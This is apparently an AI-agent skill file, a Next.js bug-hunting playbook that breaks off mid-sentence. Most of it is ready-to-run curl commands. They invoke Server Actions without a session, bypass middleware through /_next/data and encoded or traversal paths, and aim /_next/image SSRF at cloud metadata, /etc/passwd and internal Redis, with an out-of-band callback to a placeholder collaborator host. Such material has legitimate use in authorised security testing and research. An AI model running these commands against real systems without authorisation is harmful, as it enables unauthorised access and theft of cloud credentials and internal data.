$npx -y skills add elementalsouls/Claude-BugHunter --skill hunt-nextjsHunt Next.js specific vulnerabilities — Server Actions arbitrary function execution, Middleware auth bypass via static asset paths, ISR cache poisoning, Image Optimization SSRF (/_next/image), RSC payload leakage, getServerSideProps injection, source map exposure, debug endpoint
| 1 | # HUNT-NEXTJS — Next.js / SSR Framework Vulnerabilities |
| 2 | |
| 3 | ## Crown Jewel Targets |
| 4 | |
| 5 | Next.js-specific bugs that bypass auth or reach SSRF = High/Critical. |
| 6 | |
| 7 | **Highest-value chains:** |
| 8 | - **Server Actions auth bypass** — Server Actions enforce auth client-side only → call action ID directly → unauthorized data mutation or exfil |
| 9 | - **Middleware bypass via `/_next/static/`** — middleware skips static asset paths → protected routes accessible via `/_next/data/` IDOR |
| 10 | - **`/_next/image` SSRF** — Image optimizer fetches attacker-controlled URL → internal network scan or cloud metadata |
| 11 | - **ISR stale cache poisoning** — inject malicious content into a cached page that gets served to all users |
| 12 | - **RSC payload leakage** — React Server Component flight data contains server-side props not meant for client |
| 13 | |
| 14 | --- |
| 15 | |
| 16 | ## Attack Surface Signals |
| 17 | |
| 18 | ``` |
| 19 | /_next/image?url=&w=&q= Image optimizer — SSRF candidate |
| 20 | /_next/data/BUILD_ID/*.json Prerendered page data — IDOR candidate |
| 21 | /__nextjs_original-stack-frame Debug stack frame endpoint |
| 22 | /_next/static/chunks/ JS bundles — source map candidate |
| 23 | /api/ API routes — standard hunt surface |
| 24 | __NEXT_DATA__ in HTML SSR props leaked to client |
| 25 | x-nextjs-* response headers Confirms Next.js |
| 26 | ``` |
| 27 | |
| 28 | --- |
| 29 | |
| 30 | ## Phase 1 — Fingerprint & Version Detection |
| 31 | |
| 32 | ```bash |
| 33 | # Confirm Next.js and get build ID |
| 34 | curl -s https://$TARGET/ | grep -oP '"buildId":"[^"]+"' |
| 35 | curl -sI https://$TARGET/ | grep -i "x-powered-by\|x-nextjs" |
| 36 | |
| 37 | # Extract build ID for /_next/data/ paths |
| 38 | BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+') |
| 39 | echo "Build ID: $BUILD_ID" |
| 40 | |
| 41 | # Check Next.js version via package disclosure |
| 42 | curl -s https://$TARGET/_next/static/chunks/framework*.js | grep -oP '"next":"[^"]+"' |
| 43 | |
| 44 | # Source map exposure |
| 45 | curl -s "https://$TARGET/_next/static/chunks/pages/index.js.map" | head -5 |
| 46 | curl -s "https://$TARGET/_next/static/chunks/main.js.map" | head -5 |
| 47 | ``` |
| 48 | |
| 49 | --- |
| 50 | |
| 51 | ## Phase 2 — Server Actions Abuse |
| 52 | |
| 53 | ```bash |
| 54 | # Server Actions in Next.js 14+ use x-action-id or Next-Action header |
| 55 | # Find action IDs in HTML source or JS bundles |
| 56 | curl -s https://$TARGET/ | grep -oP '"action":"[a-f0-9]+"' |
| 57 | grep -r "createActionURL\|$$ACTION_" recon/$TARGET/ --include="*.js" 2>/dev/null |
| 58 | |
| 59 | # Call Server Action directly without auth |
| 60 | curl -s -X POST https://$TARGET/target-page \ |
| 61 | -H "Next-Action: ACTION_ID_HERE" \ |
| 62 | -H "Content-Type: multipart/form-data; boundary=----" \ |
| 63 | -H "Cookie: " \ |
| 64 | --data-raw $'------\r\nContent-Disposition: form-data; name="1"\r\n\r\n[]\r\n------\r\n' |
| 65 | |
| 66 | # Test: does the action execute without a valid session? |
| 67 | # If it returns data or mutates state → auth enforcement is client-side only |
| 68 | ``` |
| 69 | |
| 70 | --- |
| 71 | |
| 72 | ## Phase 3 — Middleware Auth Bypass |
| 73 | |
| 74 | ```bash |
| 75 | # Next.js middleware runs on edge runtime and may skip certain paths |
| 76 | # Test protected route directly |
| 77 | curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard |
| 78 | # → 200 means accessible |
| 79 | |
| 80 | # Test via /_next/data/ (SSG/ISR JSON) — middleware may not apply |
| 81 | curl -s "https://$TARGET/_next/data/$BUILD_ID/admin/dashboard.json" |
| 82 | |
| 83 | # Test via static asset path prefix (middleware matcher may exclude /_next/static) |
| 84 | curl -s "https://$TARGET/_next/static/../admin/dashboard" |
| 85 | |
| 86 | # Encoded path bypass |
| 87 | curl -s "https://$TARGET/%5Fnext/data/$BUILD_ID/admin/users.json" |
| 88 | curl -s "https://$TARGET/_next/data/$BUILD_ID/..%2Fadmin%2Fusers.json" |
| 89 | ``` |
| 90 | |
| 91 | --- |
| 92 | |
| 93 | ## Phase 4 — Image Optimization SSRF (`/_next/image`) |
| 94 | |
| 95 | ```bash |
| 96 | # Basic SSRF test — internal metadata |
| 97 | curl -s "https://$TARGET/_next/image?url=http://169.254.169.254/latest/meta-data/&w=64&q=75" |
| 98 | |
| 99 | # Protocol bypass attempts |
| 100 | curl -s "https://$TARGET/_next/image?url=file:///etc/passwd&w=64&q=75" |
| 101 | curl -s "https://$TARGET/_next/image?url=http://127.0.0.1:6379/&w=64&q=75" |
| 102 | |
| 103 | # OOB detection — use a UNIQUE per-test subdomain so callbacks can't be confused |
| 104 | COLLAB="http://UNIQUE.COLLAB_HOST" |
| 105 | curl -s "https://$TARGET/_next/image?url=$COLLAB/nextjs-ssrf&w=64&q=75" |
| 106 | # Check Interactsh/Burp Collaborator for DNS/HTTP callback on that exact subdomain |
| 107 | ``` |
| 108 | |
| 109 | **FALSE-POSITIVE GUARD (read before claiming SSRF):** `/_next/image` only |
| 110 | fetches URLs allowed by `images.remotePatterns` / `images.domains` in |
| 111 | `next.config.js`. A non-whitelisted `url` returns **400 by default** — that is |
| 112 | the optimizer's normal allowlist rejection, NOT a "block" you bypassed. A **200** |
| 113 | returns an *optimized image*, not the upstream response body, so a status code |
| 114 | alone NEVER confirms SSRF. Confirm only via an **out-of-band callback to a unique |
| 115 | Collaborator subdomain** ( |